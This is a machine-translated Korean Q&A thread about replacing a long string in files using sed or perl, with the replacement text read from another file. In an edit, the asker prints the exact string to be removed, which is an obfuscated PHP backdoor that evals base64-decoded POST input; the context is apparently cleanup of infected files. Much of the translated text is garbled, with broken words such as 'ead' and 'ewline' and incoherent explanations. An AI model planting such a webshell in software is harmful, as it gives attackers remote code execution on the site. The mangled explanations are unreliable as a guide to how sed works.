파일의 긴 부분을 sed로 대체하고 싶지만 파일에서 긴 부분을 읽고 싶습니다. 나는 이것을 발견했습니다 :
sed -e '/<TEXT1>/{r File1' -e 'd}' File2
~에서여기이것은 내가 달성하고 싶은 것과 완전히 반대입니다. 다음과 같이 많은 것을 시도했지만 모두 잘못된 결과를 나타냅니다.
sed -e '/r needle.txt/replace' subject.txt
편집 1
Needle.txt는 정규 표현식이 아니며, ASCII가 아닌 많은 문자로 대체하려는 텍스트일 뿐입니다.
편집 2
내가 작업하고 있는 정확한 문자열은 다음과 같습니다.
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php
마지막을 간직하고 싶어<?php
답변1
파일 내용을 다음으로 전달하기 전에 쉘에서 파일 내용을 확장하도록 할 수 있습니다 sed
.
sed -e "s/$(cat needle.txt)/replace/" subject.txt
큰따옴표 사용에 주의하세요.
이로 인해 sed
정규식 메타 문자가 needle.txt
일반 문자가 아닌 정규식 메타 문자로 해석됩니다. needle.txt
포함된 경우 /
.
needle.txt
행을 문자 그대로 해석 하려면 (귀하의 예와 같이 정규식 메타 문자가 포함된 경우에도) 다음을 수행할 수 있습니다.
perl -pe '
BEGIN{ local $/;
open $IN,"<","needle.txt";
$needle = <$IN>
}
s/\Q$needle/replace/
' subject.txt
설명하다
- 이러한
-pe
스위치는 파일의 각 줄에 한 줄씩 코드를 적용subject.txt
하고 처리 후 각 줄을 인쇄한다는 의미입니다. - 이
BEGIN{}
섹션은 한 번만 실행됩니다. 그것이 하는 일은needle.txt
파일을 열고 그 내용을 모두$needle
변수에 저장하는 것입니다. s/\Q$needle/replace/
예상한 것과 동일한 구문입니다 . 단 , Perl의 정규 표현식 엔진이 정규 표현식이 아닌 고정 문자열로 뒤에 오는 모든 항목을 처리하게 한다는sed
점만 다릅니다 .\Q
답변2
sed
ead는 매우 독특합니다 r
. 패턴과 일치하는 행에 대해서만 이 작업을 수행합니다. 항상 이 작업을 수행합니다.마지막. 행을 새로 고치기 전에 패턴이 더 이상 일치하지 않으면 sed
파일에서 일치하는 패턴을 읽을 수 없습니다. r
적어도 나는 그것이 효과가 있다고 생각합니다. 나는 그것을 꽤 잘 sed
하지만 r
여전히 가끔 혼란스럽습니다.
어쨌든, 원하는 패턴으로 라인을 플러시하도록 하는 것이 요령입니다. 따라서 해당 라인에 대한 출력을 보장하지만 편집하기 전에 해당 출력을 최소한 한 라인만큼 지연시킵니다.
이 작업은 비교적 쉽게 수행할 수 있습니다 N;P;D
. 이 작업을 함께 수행하면 sed
라인 카운터가 인쇄된 라인보다 최소한 한 라인 앞에 위치하게 됩니다. 다음 두 파일을 고려하십시오.
###file1
some string 1
some string 2
some other string
some string 4
some string 5
###file2
some other file
이제 내 목표는 교체를 수행하고 ead가 의존하는 패턴을 교체하는 것입니다 r
.그리고r
내용 인쇄 준비앞으로변경사항이 인쇄되었습니다. 이것이 내가 하는 방법이다:
sed '$!N;s/other \(.*\)\(\n\)/\1 3\2/
/\n.*other/r file2
P;D' file1
산출
some string 1
some string 2
some other file
some string 3
some string 4
some string 5
나는 또한 다른 file2로 이 작업을 수행했고 인쇄되었습니다...
some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5
나는 이 동작의 이식성에 대해 상당히 깊은 의구심을 갖고 있지만, 그 sed
가치는 GNU에 있습니다.
좋습니다. 위 명령에서는 sed
인쇄할 때 입력 내용을 한 줄 앞으로 읽습니다. N
다음 입력 라인을 패턴 공간에 추가하고, 패턴 공간의 첫 번째 ewline 문자를 P
인쇄하고 , 패턴 공간의 첫 번째 ewline 문자를 삭제 하고, 나머지부터 다시 시작합니다. 따라서 우리는 각 줄이 우리가 볼 때보다 한 줄 늦게 인쇄되는 것을 볼 수 있습니다. 즉, 입력에 두 줄 창이 표시됩니다.\n
D
\n
sed
sed
패턴 일치 ead는 ewline 문자가 발생할 때만 일치합니다 r
.\n
앞으로sed
처음 끌어오면 루프와 일치합니다 N
. 우리가 볼 수 없는 루프에만 일치합니다.
\n
교체는 ewline이 발생한 경우에만 발생합니다.뒤쪽에모드 - P
결국 이것이 인쇄되는 주기이지만, ext 라인을 sed
끌어오면 N
해당 라인 버퍼가 플러시되고 라인이 증가하므로 r
인쇄하고그 다음에교체가 발생합니다. 물론 좀 지루하긴 하지만 나도 마찬가지다.
사실, GNU에 관해 말하자면, sed
그러한 상황에 대해 다소 흥미로운 옵션을 제공합니다.
sed '/other/{x;s/.*/cat file2/e;G
s/\(.*\)\n\(.* \)other \(.*\)/\1 \2\3 3/
}' file
info sed
당신에게 말할 것입니다 ...
e [COMMAND]
이 명령을 사용하면 쉘 명령의 입력을 패턴 공간으로 파이프할 수 있습니다. 인수가 없으면 'e' 명령은 패턴 공간에 있는 명령을 실행하고 패턴 공간을 출력으로 바꿉니다.
거기에서 나는 또한 일부 패턴 공간 섞기를 수행했습니다. 명령을 실행할 빈 패턴 공간이 필요했기 때문에 사용되지 않은 예약 공간으로 전환했습니다. 하지만 행 새로 고침 시간을 생각할 필요가 없기 때문에 이해하기가 더 쉽습니다. 본질적으로 이것은 다르게 제안된 것이며, sed
대상 읽기 파일에 특수 문자가 있으면 오류를 생성하지 않는다는 점에서 약간의 이점이 있을 수 있습니다.
아, 그런데 위의 내용은 다음과 같습니다.
some string 1
some string 2
some other file some string 3
some string 4
some string 5